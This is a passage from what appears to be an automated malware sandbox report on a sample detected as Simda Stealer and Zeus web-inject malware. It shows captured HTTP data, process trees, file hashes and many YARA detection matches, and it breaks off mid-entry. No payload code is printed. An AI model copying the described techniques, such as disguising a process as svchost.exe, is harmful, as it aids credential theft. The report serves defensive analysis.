2024-11-11 17:51:09 UTC	7116	IN	Data Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
2024-11-11 17:51:09 UTC	8302	IN	Data Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
2024-11-11 17:51:09 UTC	2586	IN	Data Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38 Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
2024-11-11 17:51:09 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-11 17:51:09 UTC	4096	IN	Data Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73 Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
2024-11-11 17:51:09 UTC	13046	IN	Data Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36 Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136

Target ID:	0
Start time:	12:50:23
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\UMwpXhA46R.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UMwpXhA46R.exe"
Imagebase:	0x400000
File size:	1'179'648 bytes
MD5 hash:	239B74D7AC38014E61CC335630AC22D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:50:24
Start date:	11/11/2024
Path:	C:\Windows\apppatch\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\apppatch\svchost.exe"
Imagebase:	0x400000
File size:	1'179'648 bytes
MD5 hash:	E132561B9EE04A2EDDF6460BE4A89362
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2774994198.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2776615679.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2809572996.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2784640433.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2575291599.000000000F380000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2612530811.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2544138671.000000000D580000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2775654849.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2587965689.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2793511340.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2763018604.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2754985393.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2786368119.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2776797358.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2763556222.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2775373199.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2522335301.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2519685174.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2763964877.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2808903395.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2761135252.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2726433713.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2633125874.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2774233552.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2517359385.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2760597306.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2773682224.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2649332327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2776308232.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2788341406.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2809880778.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2785726916.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2787182616.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2758822752.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2809200397.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2757164455.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2775825052.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2776041284.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2790907170.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2794030784.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2774710797.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2170461210.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2792838901.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2773445866.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2791900704.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2789409871.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2784224437.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2790002799.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2810131303.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2707114238.0000000003C40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2678865886.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:51:00
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:51:00
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:51:00
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:51:01
Start date:	11/11/2024
Path:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe"
Imagebase:	0x2d0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:51:01
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6912 -s 904
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:51:01
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 884
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:51:01
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 980
Imagebase:	0x320000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:51:03
